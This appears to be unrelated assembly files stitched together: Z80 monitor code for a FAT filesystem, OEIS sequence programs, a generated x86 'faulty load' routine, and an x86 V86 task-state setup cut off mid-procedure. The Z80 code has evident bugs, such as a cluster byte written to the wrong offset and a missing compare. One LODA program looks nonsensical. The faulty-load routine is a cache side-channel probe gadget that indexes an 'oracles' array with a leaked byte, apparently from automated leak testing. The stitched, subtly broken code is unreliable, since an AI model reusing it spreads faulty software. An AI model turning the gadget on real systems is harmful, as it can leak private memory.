; We have to check if fcb_current_cluster == 0 which will be the case in the
; initial run. Then we will copy fcb_first_cluster into fcb_current_cluster.
ld a, (iy + fcb_current_cluster)
cp 0
jr nz, fgetc_continue ; Not the initial case
ld a, (iy + fcb_current_cluster + 1)
cp 0
jr nz, fgetc_continue ; Not the initial case
; Initial case: We have to fill fcb_current_cluster with fcb_first_cluste:
ld a, (iy + fcb_first_cluster)
ld (iy + fcb_current_cluster), a
ld a, (iy + fcb_first_cluster + 1)
ld (iy + fcb_current_cluster + 1), a
jr fgetc_clu2sec
; Here is the normal case - we will check if fcb_cluster_sector is zero -
; in this case we have to determine the next sector to be loaded by looking
; up the FAT. Otherwise (fcb_cluster_sector != 0) we will just get the next
; sector in the current cluster.
fgetc_continue ld a, (iy + fcb_cluster_sector)
jr nz, fgetc_same ; The current cluster is valid
; Here we know that we need the first sector of the next cluster of the file.
; The upper eight bits of the fcb_current_cluster point to the sector of the
; FAT where the entry we are looking for is located (this is true since a
; sector contains 512 bytes which corresponds to 256 FAT entries). So we must
; load the sector with the number fatstart + fcb_current_cluster[15-8] into
; the IDE buffer and locate the entry with the address
; fcb_current_cluster[7-0] * 2. This entry contains the sector number we are
; looking for.
ld hl, (fat1start)
ld c, (iy + fcb_current_cluster + 1)
ld b, 0
add hl, bc
ld de, hl ; Needed for ide_rs
ld bc, 0
ld hl, (fat1start + 2)
adc hl, bc
ld bc, hl ; Needed for ide_rs
ld hl, buffer
call ide_rs
; Now the sector containing the FAT entry we are looking for is available in
; the IDE buffer. Now we need fcb_current_cluster[7-0] * 2
ld b, 0
ld c, (iy + fcb_current_cluster)
sla c
rl b
; Now get the entry:
ld hl, buffer
add hl, bc
ld bc, (hl)
ld (iy + fcb_current_cluster), c
ld (iy + fcb_current_cluster), b
; Now we determine the first sector of the cluster to be read:
fgetc_clu2sec ld a, (clusiz) ; Initialize fcb_cluster_sector
ld (iy + fcb_cluster_sector), a
ld l, (iy + fcb_current_cluster)
ld h, (iy + fcb_current_cluster + 1)
call clu2sec ; Convert cluster to sector
jr fgetc_rs
fgetc_same and a ; Clear carry
ld bc, 1 ; Increment fcb_current_sector
ld l, (iy + fcb_current_sector)
ld h, (iy + fcb_current_sector + 1)
add hl, bc
ld (iy + fcb_current_sector), l
ld e, l ; Needed for ide_rs
ld (iy + fcb_current_sector + 1), h
ld d, h ; Needed for ide_rs
ld l, (iy + fcb_current_sector + 2)
ld h, (iy + fcb_current_sector + 3)
ld bc, 0
adc hl, bc
ld (iy + fcb_current_sector + 2), l
ld c, l ; Needed for ide_rs
ld (iy + fcb_current_sector + 3), h
ld b, h ; Neede for ide_rs
fgetc_rs ld (iy + fcb_current_sector), e ; Now read the sector
ld (iy + fcb_current_sector + 1), d
ld (iy + fcb_current_sector + 2), c
ld (iy + fcb_current_sector + 3), b
; Let HL point to the sector buffer in the FCB:
push iy ; Start of FCB
pop hl
push bc
ld bc, fcb_file_buffer ; Displacement of sector buffer
add hl, bc
pop bc
call ide_rs ; Read a single sector from disk
; Since we have read a sector we have to decrement fcb_cluster_sector
dec (iy + fcb_cluster_sector)
; Here we read and return a single character from the sector buffer:
fgetc_getc push iy
pop hl ; Copy IY to HL
ld bc, fcb_file_buffer
add hl, bc ; HL points to the sector bfr.
; Get the lower 9 bits of the file pointer as displacement for the buffer:
ld c, (iy + fcb_file_pointer)
ld a, (iy + fcb_file_pointer + 1)
and 1 ; Get rid of bits 9-15
ld b, a
add hl, bc ; Add byte offset
ld a, (hl) ; get one byte from buffer
; Increment the file pointer:
ld l, (iy + fcb_file_pointer)
ld h, (iy + fcb_file_pointer + 1)
ld bc, 1
add hl, bc
ld (iy + fcb_file_pointer), l
ld (iy + fcb_file_pointer + 1), h
ld bc, 0
ld l, (iy + fcb_file_pointer + 2)
ld h, (iy + fcb_file_pointer + 3)
adc hl, bc
ld (iy + fcb_file_pointer + 2), l
ld (iy + fcb_file_pointer + 3), h
;
and a ; Clear carry
fgetc_exit pop hl
pop de
pop bc
ret
;
; Clear the FCB to which IY points -- this should be called every time one
; creates a new FCB. (Please note that fopen does its own call to clear_fcb.)
;
clear_fcb push af ; We have to save so many
push bc ; Registers since the FCB is
push de ; cleared using LDIR.
push hl
ld a, 0
push iy
pop hl
ld (hl), a ; Clear first byte of FCB
ld de, hl
inc de
ld bc, fcb_file_buffer
ldir ; And transfer this zero byte
pop hl ; down to the relevant rest
pop de ; of the buffer.
pop bc
pop af
ret
;
; Dump a file control block (FCB) - the start address is expected in IY.
;
dump_fcb push af
push hl
ld hl, dump_fcb_1
call puts
push iy ; Load HL with
pop hl ; the contents of IY
call print_word
; Print the filename:
ld hl, dump_fcb_2
call puts
push iy
pop hl
call puts
; Print file size:
ld hl, dump_fcb_3
call puts
ld h, (iy + fcb_file_size + 3)
ld l, (iy + fcb_file_size + 2)
call print_word
ld h, (iy + fcb_file_size + 1)
ld l, (iy + fcb_file_size)
call print_word
; Print cluster number:
ld hl, dump_fcb_4
call puts
ld h, (iy + fcb_first_cluster + 1)
ld l, (iy + fcb_first_cluster)
call print_word
; Print file type:
ld hl, dump_fcb_5
call puts
ld a, (iy + fcb_file_type)
call print_byte
; Print file pointer:
ld hl, dump_fcb_6
call puts
ld h, (iy + fcb_file_pointer + 3)
ld l, (iy + fcb_file_pointer + 2)
call print_word
ld h, (iy + fcb_file_pointer + 1)
ld l, (iy + fcb_file_pointer)
call print_word
; Print current cluster number:
ld hl, dump_fcb_7
call puts
ld h, (iy + fcb_current_cluster + 1)
ld l, (iy + fcb_current_cluster)
call print_word
; Print current sector:
ld hl, dump_fcb_8
call puts
ld h, (iy + fcb_current_sector + 3)
ld l, (iy + fcb_current_sector + 2)
call print_word
ld h, (iy + fcb_current_sector + 1)
ld l, (iy + fcb_current_sector)
call print_word
call crlf
pop hl
pop af
ret
dump_fcb_1 defb "Dump of FCB at address: ", eos
dump_fcb_2 defb cr, lf, tab, "File name : ", eos
dump_fcb_3 defb cr, lf, tab, "File size : ", eos
dump_fcb_4 defb cr, lf, tab, "1st cluster : ", eos
dump_fcb_5 defb cr, lf, tab, "File type : ", eos
dump_fcb_6 defb cr, lf, tab, "File pointer : ", eos
dump_fcb_7 defb cr, lf, tab, "Current cluster: ", eos
dump_fcb_8 defb cr, lf, tab, "Current sector : ", eos
;
; Convert a user specified filename to an 8.3-filename without dot and
; with terminating null byte. HL points to the input string, DE points to
; a 12 character buffer for the filename. This function is used by
; fopen which expects a human readable string that will be transformed into
; an 8.3-filename without the dot for the following directory lookup.
;
str2filename push af
push bc
push de
push hl
ld (str2filename_de), de
ld a, ' ' ; Initialize output buffer
ld b, $b ; Fill 11 bytes with spaces
str2filiniloop ld (de), a
inc de
djnz str2filiniloop
ld a, 0 ; Add terminating null byte
ld (de), a
ld de, (str2filename_de) ; Restore DE pointer
; Start string conversion
ld b, 8
str2filini_nam ld a, (hl)
cp 0 ; End of string reached?
jr z, str2filini_x
cp '.' ; Dot found?
jr z, str2filini_ext
ld (de), a
inc de
inc hl
dec b
jr nz, str2filini_nam
str2filini_skip ld a, (hl)
cp 0 ; End of string without dot?
jr z, str2filini_x ; Nothing more to do
cp '.'
jr z, str2filini_ext ; Take care of extension
inc hl ; Prepare for next character
jr str2filini_skip ; Skip more characters
str2filini_ext inc hl ; Skip the dot
push hl ; Make sure DE points
ld hl, (str2filename_de) ; into the filename buffer
ld bc, 8 ; at the start position
add hl, bc ; of the filename extension
ld de, hl
pop hl
ld b, 3
str2filini_elp ld a, (hl)
cp 0 ; End of string reached?
jr z, str2filini_x ; Nothing more to do
ld (de), a
inc de
inc hl
dec b
jr nz, str2filini_elp ; Next extension character
str2filini_x pop hl
pop de
pop bc
pop af
ret
;
; Open a file with given filename (format: 'FFFFFFFFXXX') in the root directory
; and return the 1st cluster number for that file. If the file can not
; be found, $0000 will be returned.
; At entry, HL must point to the string buffer while IY points to a valid
; file control block that will hold all necessary data for future file accesses.
;
fopen push af
push bc
push de
push ix
ld (fopen_scr), hl
ld hl, fatname ; Check if a disk has been
ld a, (hl) ; mounted.
cp 0
jp z, fopen_e1 ; No disk - error exit
call clear_fcb
push iy ; Copy IY to DE
pop de
ld hl, (fopen_scr) ; Create the filename
call str2filename ; Convert string to a filename
ld hl, buffer ; Compute buffer overflow
ld bc, $0200 ; address - this is the bfr siz.
add hl, bc ; and will be used in the loop
ld (fopen_eob), hl ; This is the buffer end addr.
;
ld hl, (rootstart) ; Remember the initial root
ld (fopen_rsc), hl ; sector number
ld hl, (rootstart + 2)
ld (fopen_rsc + 2), hl
; Read one root directory sector
fopen_nbf ld bc, (fopen_rsc + 2)
ld de, (fopen_rsc)
ld hl, buffer
call ide_rs ; Read one sector
jp c, fopen_e2 ; Exit on read error
fopen_lp ld (fopen_scr), hl
xor a ; Last entry?
cp (hl) ; The last entry has first
jp z, fopen_x ; byte = $0
ld a, $e5 ; Deleted entry?
cp (hl)
jr z, fopen_nxt ; Get next entry
; ld (fopen_scr), hl
ld ix, (fopen_scr)
ld a, (ix + $b) ; Get attribute byte
cp $0f
jr z, fopen_nxt ; Skip long name
bit 4, a ; Skip directories
jr nz, fopen_nxt
; Compare the filename with the one we are looking for:
ld (ix + $b), 0 ; Clear attribute byte
ld de, (fopen_scr)
push iy ; Prepare string comparison
pop hl
call strcmp ; Compare filename with string
cp 0 ; Are strings equal?
jr nz, fopen_nxt ; No - check next entry
ld a, (ix + $1a + 1) ; Read cluster number and
; Save cluster_number into fcb_first_cluster:
ld (iy + fcb_first_cluster + 1), a
ld a, (ix + $1a)
ld (iy + fcb_first_cluster), a
ld a, (ix + $1c) ; Save file size to FCB
ld (iy + fcb_file_size), a
ld a, (ix + $1d) ; Save file size to FCB
ld (iy + fcb_file_size + 1), a
ld a, (ix + $1e) ; Save file size to FCB
ld (iy + fcb_file_size + 2), a
ld a, (ix + $1f) ; Save file size to FCB
ld (iy + fcb_file_size + 3), a
ld (iy + fcb_file_type), 1 ; Set file type to found
jr fopen_x ; Terminate lookup loop
fopen_nxt ld bc, $20
ld hl, (fopen_scr)
add hl, bc
ld (fopen_scr), hl
ld bc, (fopen_eob) ; Check for end of buffer
and a ; Clear carry
sbc hl, bc ; ...no 16 bit cp :-(
jp nz, fopen_lp ; Buffer is still valid
ld hl, fopen_rsc ; Increment sector number
inc (hl) ; 16 bits are enough :-)
jp fopen_nbf ; Read next directory sector
fopen_e1 ld hl, fopen_nmn ; No disk mounted
jr fopen_err ; Print error message
fopen_e2 ld hl, fopen_rer ; Directoy sector read error
fopen_err call puts
fopen_x pop ix
pop de
pop bc
pop af
ret
fopen_nmn defb "FATAL(FOPEN): No disk mounted!", cr, lf, eos
fopen_rer defb "FATAL(FOPEN): Could not read directory sector!"
defb cr, lf, eos
;
; Convert a cluster number into a sector number. The cluster number is
; expected in HL, the corresponding sector number will be returned in
; BC and DE, thus ide_rs or ide_ws can be called afterwards.
;
; SECNUM = (CLUNUM - 2) * CLUSIZ + DATASTART
;
clu2sec push af ; Since the 32 bit
push hl ; multiplication routine
exx ; needs shadow registers
push bc ; we have to push many,
push de ; many registers here
push hl
ld bc, 0 ; Clear BC' and DE' for
ld de, bc ; 32 bit multiplication
exx
ld bc, 2 ; Subtract 2
sbc hl, bc ; HL = CLUNUM - 2
ld bc, hl ; BC = HL; BC' = 0
ld a, (clusiz)
ld d, 0 ; CLUSIZ bits 8 to 15
ld e, a ; DE = CLUSIZ
call MUL32 ; HL = (CLUNUM - 2) * CLUSIZ
ld de, (datastart)
exx
ld de, (datastart + 2)
exx
call ADD32 ; HL = HL + DATASTART
exx
push hl
exx
pop bc
ld de, hl
exx
pop hl
pop de
pop bc
exx
pop hl
pop af
ret
;
; Print a directory listing
;
dirlist push af
push bc
push de
push hl
push ix
ld hl, fatname
ld a, (hl)
cp 0
jp z, dirlist_nodisk
ld ix, string_81_bfr
ld (ix + 8), '.' ; Dot between name and extens.
ld (ix + 12), 0 ; String terminator
ld hl, dirlist_0 ; Print title line
call puts
ld hl, buffer ; Compute buffer overflow
ld bc, $0200 ; address - this is the bfr siz.
add hl, bc
ld (dirlist_eob), hl ; This is the buffer end addr.
;
ld hl, (rootstart) ; Remember the initial root
ld (dirlist_rootsec), hl ; sector number
ld hl, (rootstart + 2)
ld (dirlist_rootsec + 2), hl
; Read one root directory sector
dirlist_nbfr ld bc, (dirlist_rootsec + 2)
ld de, (dirlist_rootsec)
ld hl, buffer
call ide_rs
jp c, dirlist_e1
dirlist_loop xor a ; Last entry?
cp (hl) ; The last entry has first
jp z, dirlist_exit ; byte = $0
ld a, $e5 ; Deleted entry?
cp (hl)
jr z, dirlist_next
ld (dirlist_scratch), hl
ld ix, (dirlist_scratch)
ld a, (ix + $b) ; Get attribute byte
cp $0f
jr z, dirlist_next ; Skip long name
ld de, string_81_bfr ; Prepare for output
ld bc, 8 ; Copy first eight characters
ldir
inc de
ld bc, 3 ; Copy extension
ldir
; ld hl, de
; ld (hl), 0 ; String terminator
ld hl, string_81_bfr
call puts
ld hl, dirlist_NODIR ; Flag directories with "DIR"
bit 4, a
jr z, dirlist_prtdir
ld hl, dirlist_DIR
dirlist_prtdir call puts
ld h, (ix + $1c + 3) ; Get and print file size
ld l, (ix + $1c + 2)
call print_word
ld h, (ix + $1c + 1)
ld l, (ix + $1c)
call print_word
; Get and print start sector
ld a, tab
call putc
ld h, (ix + $1a + 1) ; Get cluster number
ld l, (ix + $1a)
ld bc, 0 ; Is file empty?
and a ; Clear carry
sbc hl, bc ; Empty file -> Z set
jr z, dirlist_nosize
call clu2sec
ld hl, bc
call print_word
ld hl, de
call print_word
dirlist_nosize call crlf
ld hl, (dirlist_scratch)
dirlist_next ld bc, $20
add hl, bc
ld bc, (dirlist_eob) ; Check for end of buffer
and a
sbc hl, bc
jp nz, dirlist_loop ; Buffer is still valid
ld hl, dirlist_rootsec
inc (hl)
jp dirlist_nbfr
dirlist_e1 ld hl, dirlist_1
jr dirlist_x
dirlist_nodisk ld hl, dirlist_nomnt
dirlist_x call puts
dirlist_exit pop ix
pop hl
pop de
pop bc
pop af
ret
dirlist_nomnt defb "FATAL(DIRLIST): No disk mounted!", cr, lf, eos
dirlist_0 defb "Directory contents:", cr, lf
defb "-------------------------------------------", cr, lf
defb "FILENAME.EXT DIR? SIZE (BYTES)"
defb " 1ST SECT", cr, lf
defb "-------------------------------------------", cr, lf
defb eos
dirlist_1 defb "FATAL(DIRLIST): Could not read directory sector"
defb cr, lf, eos
dirlist_DIR defb tab, "DIR", tab, eos
dirlist_NODIR defb tab, tab, eos
;
; Perform a disk mount
;
fatmount push af
push bc
push de
push hl
push ix
ld hl, buffer ; Read MBR into buffer
ld bc, 0
ld de, 0
call ide_rs
jp c, fatmount_e1 ; Error reading MBR?
ld ix, buffer + $1fe ; Check for $55AA as MBR trailer
ld a, $55
cp (ix)
jp nz, fatmount_e2
ld a, $aa
cp (ix + 1)
jp nz, fatmount_e2
ld bc, 8 ; Get partition start and size
ld hl, buffer + $1c6
ld de, pstart
ldir
ld hl, buffer ; Read partition boot block
ld de, (pstart)
ld bc, (pstart + 2)
call ide_rs
jp c, fatmount_e3 ; Error reading boot block?
ld bc, 8 ; Copy FAT name
ld hl, buffer + 3
ld de, fatname
ldir
ld ix, buffer
ld a, 2 ; Check for two FATs
cp (ix + $10)
jp nz, fatmount_e4 ; Wrong number of FATs
xor a ; Check for 512 bytes / sector
cp (ix + $b)
jp nz, fatmount_e5
ld a, 2
cp (ix + $c)
jp nz, fatmount_e5
ld a, (buffer + $d) ; Get cluster size
ld (clusiz), a
ld bc, (buffer + $e) ; Get reserved sector number
ld (ressec), bc
ld bc, (buffer + $16) ; Get FAT size in sectors
ld (fatsec), bc
ld bc, (buffer + $11) ; Get length of root directory
ld (rootlen), bc
ld hl, (pstart) ; Compute
ld bc, (ressec) ; FAT1START = PSTART + RESSEC
add hl, bc
ld (fat1start), hl
ld hl, (pstart + 2)
ld bc, 0
adc hl, bc
ld (fat1start + 2), hl
ld hl, (fatsec) ; Compute ROOTSTART for two FATs
add hl, hl ; ROOTSTART = FAT1START +
ld bc, hl ; 2 * FATSIZ
ld hl, (fat1start)
add hl, bc
ld (rootstart), hl
ld hl, (fat1start + 2)
ld bc, 0
adc hl, bc
ld (rootstart + 2), hl
ld bc, (rootlen) ; Compute rootlen / 16
sra b ; By shifting it four places
rr c ; to the right
sra b ; This value will be used
rr c ; for the calculation of
sra b ; DATASTART
rr c
sra b
rr c
ld hl, (rootstart) ; Computer DATASTART
add hl, bc
ld (datastart), hl
ld hl, (rootstart + 2)
ld bc, 0
adc hl, bc
ld (datastart + 2), hl
ld hl, fatmount_s1 ; Print mount summary
call puts
ld hl, fatname
call puts
ld hl, fatmount_s2
call puts
ld a, (clusiz)
call print_byte
ld hl, fatmount_s3
call puts
ld hl, (ressec)
call print_word
ld hl, fatmount_s4
call puts
ld hl, (fatsec)
call print_word
ld hl, fatmount_s5
call puts
ld hl, (rootlen)
call print_word
ld hl, fatmount_s6
call puts
ld hl, (psiz + 2)
call print_word
ld hl, (psiz)
call print_word
ld hl, fatmount_s7
call puts
ld hl, (pstart + 2)
call print_word
ld hl, (pstart)
call print_word
ld hl, fatmount_s8
call puts
ld hl, (fat1start + 2)
call print_word
ld hl, (fat1start)
call print_word
ld hl, fatmount_s9
call puts
ld hl, (rootstart + 2)
call print_word
ld hl, (rootstart)
call print_word
ld hl, fatmount_sa
call puts
ld hl, (datastart + 2)
call print_word
ld hl, (datastart)
call print_word
call crlf
jr fatmount_exit
fatmount_e1 ld hl, fatmount_1
jr fatmount_x
fatmount_e2 ld hl, fatmount_2
jr fatmount_x
fatmount_e3 ld hl, fatmount_3
jr fatmount_x
fatmount_e4 ld hl, fatmount_4
jr fatmount_x
fatmount_e5 ld hl, fatmount_5
fatmount_x call puts
fatmount_exit pop ix
pop hl
pop de
pop bc
pop af
ret
fatmount_1 defb "FATAL(FATMOUNT): Could not read MBR!", cr, lf, eos
fatmount_2 defb "FATAL(FATMOUNT): Illegal MBR!", cr, lf, eos
fatmount_3 defb "FATAL(FATMOUNT): Could not read partition boot block"
defb cr, lf, eos
fatmount_4 defb "FATAL(FATMOUNT): FAT number not equal two!"
defb cr, lf, eos
fatmount_5 defb "FATAL(FATMOUNT): Sector size not equal 512 bytes!"
defb cr, lf, eos
fatmount_s1 defb tab, "FATNAME:", tab, eos
fatmount_s2 defb cr, lf, tab, "CLUSIZ:", tab, eos
fatmount_s3 defb cr, lf, tab, "RESSEC:", tab, eos
fatmount_s4 defb cr, lf, tab, "FATSEC:", tab, eos
fatmount_s5 defb cr, lf, tab, "ROOTLEN:", tab, eos
fatmount_s6 defb cr, lf, tab, "PSIZ:", tab, tab, eos
fatmount_s7 defb cr, lf, tab, "PSTART:", tab, eos
fatmount_s8 defb cr, lf, tab, "FAT1START:", tab, eos
fatmount_s9 defb cr, lf, tab, "ROOTSTART:", tab, eos
fatmount_sa defb cr, lf, tab, "DATASTART:", tab, eos
;
; Dismount a FAT volume (invalidate the FAT control block by setting the
; first byte (of fatname) to zero.
;
fatunmount push af
push hl
xor a
ld hl, fatname
ld (hl), a
pop hl
pop af
ret
;
defb "THE MONITOR ENDS HERE...", eos |
; A025577: Expansion of (x/(1-x))*sqrt((1+x)/(1-3*x)).
; Submitted by Christian Krause
; 1,3,7,17,43,113,305,839,2339,6585,18677,53283,152725,439455,1268623,3672457,10656691,30988249,90275989,263425651,769801873,2252531971,6599018227,19353381877,56814946381,166940119063,490930181515,1444813563869,4255124073979,12540040058705,36978741456465,109107360080087,322098445008531,951352176441081,2811246232045317,8310923469305859,24579977768038945,72725278525298547,215254244888848627,637341110540456885,1887722395979791129,5592976754205731963,16576003429055711471,49140807617401966361
lpb $0
mov $2,$0
sub $0,1
seq $2,5773 ; Number of directed animals of size n (or directed n-ominoes in standard position).
add $1,$2
lpe
mov $0,$1
mul $0,2
add $0,1
|
; A329379: a(n) = n/A093411(n), where A093411(n) is obtained by repeatedly dividing n by the largest factorial that divides it until an odd number is reached.
; 1,2,1,4,1,6,1,8,1,2,1,12,1,2,1,16,1,6,1,4,1,2,1,24,1,2,1,4,1,6,1,32,1,2,1,36,1,2,1,8,1,6,1,4,1,2,1,48,1,2,1,4,1,6,1,8,1,2,1,12,1,2,1,64,1,6,1,4,1,2,1,24,1,2,1,4,1,6,1,16,1,2,1,12,1,2,1,8,1,6,1,4,1,2,1,96,1,2,1,4
add $0,1
mov $1,1
mov $3,$0
mov $4,$0
lpb $3
mov $5,$4
lpb $5
mov $6,$2
cmp $6,0
add $2,$6
mov $7,$0
div $0,$2
mul $1,$2
mod $7,$2
add $2,1
cmp $7,0
sub $5,$7
lpe
lpb $2
div $2,3
cmp $7,0
sub $3,$7
lpe
lpe
mov $0,$1
|
; A081609: Number of numbers <= n having at least one 1 in their ternary representation.
; 0,1,1,2,3,4,4,5,5,6,7,8,9,10,11,12,13,14,14,15,15,16,17,18,18,19,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,46,47,47,48,49,50,50,51,51,52,53,54,55,56,57,58,59,60,60,61
mov $18,$0
mov $20,$0
lpb $20,1
mov $0,$18
sub $20,1
sub $0,$20
mov $6,5
mov $10,8
lpb $10,1
lpb $0,1
lpb $8,10
gcd $0,8
mul $6,10
bin $6,2
mov $8,$0
sub $8,1
pow $10,$4
lpe
div $0,3
lpe
lpe
mov $0,$6
mul $0,5
mov $1,$0
div $1,6100
add $19,$1
lpe
mov $1,$19
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1c887, %rsi
lea addresses_A_ht+0xd667, %rdi
nop
nop
xor %r9, %r9
mov $62, %rcx
rep movsq
nop
nop
nop
lfence
lea addresses_UC_ht+0xff97, %r14
nop
nop
xor %r11, %r11
mov (%r14), %si
nop
nop
xor %rsi, %rsi
lea addresses_UC_ht+0xebc7, %rsi
clflush (%rsi)
nop
nop
add %rbx, %rbx
mov (%rsi), %edi
nop
xor $13114, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0x8377, %rsi
nop
nop
nop
xor %rcx, %rcx
movl $0x51525354, (%rsi)
nop
nop
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_UC+0x3727, %rsi
nop
inc %r8
mov $0x5152535455565758, %r13
movq %r13, %xmm2
movups %xmm2, (%rsi)
cmp %rcx, %rcx
// Faulty Load
lea addresses_RW+0x14927, %r8
nop
nop
sub %rsi, %rsi
vmovups (%r8), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdi
lea oracles, %r13
and $0xff, %rdi
shlq $12, %rdi
mov (%r13,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
.386p
Kernel Segment public para use32
assume cs:Kernel
;useless function
__initV86Tss proc
push ecx
push edx
push ebx
push esi
push edi
mov ebx,KernelData
shl ebx,4
mov ecx,SYSTEM_TSS_SIZE
mov edi,V86_TSS_BASE
mov al,0
cld
rep stosb
pushfd
pop eax
or eax,23200h
mov dword ptr ds:[V86_TSS_BASE + TASKSTATESEG.mEflags],eax
mov word ptr ds:[V86_TSS_BASE + TASKSTATESEG.mIomap],136
mov byte ptr ds:[V86_TSS_BASE + TASKSTATESEG.mIomapEnd + 8192+32],0ffh
MOV dword ptr ds:[V86_TSS_BASE + TASKSTATESEG.mEsp0],TSSV86_STACK0_TOP
MOV dword ptr ds:[V86_TSS_BASE + TASKSTATESEG.mSS0],rwData32Seg ;stackV86Seg
mov dword ptr ds:[V86_TSS_BASE + TASKSTATESEG.mCr3],PDE_ENTRY_VALUE
mov eax,Kernel16
mov ds:[V86_TSS_BASE + TASKSTATESEG.mCs],eax
mov eax,kernelData
mov ds:[V86_TSS_BASE + TASKSTATESEG.mDs],eax
mov ds:[V86_TSS_BASE + TASKSTATESEG.mEs],eax
mov ds:[V86_TSS_BASE + TASKSTATESEG.mFs],eax
mov ds:[V86_TSS_BASE + TASKSTATESEG.mGs],eax
mov ds:[V86_TSS_BASE + TASKSTATESEG.mSs],eax
mov ds:[V86_TSS_BASE + TASKSTATESEG.mEsp],BIT16_STACK_TOP - STACK_TOP_DUMMY
mov ds:[V86_TSS_BASE + TASKSTATESEG.mEbp],BIT16_STACK_TOP - STACK_TOP_DUMMY
lea eax,__v86TssProc
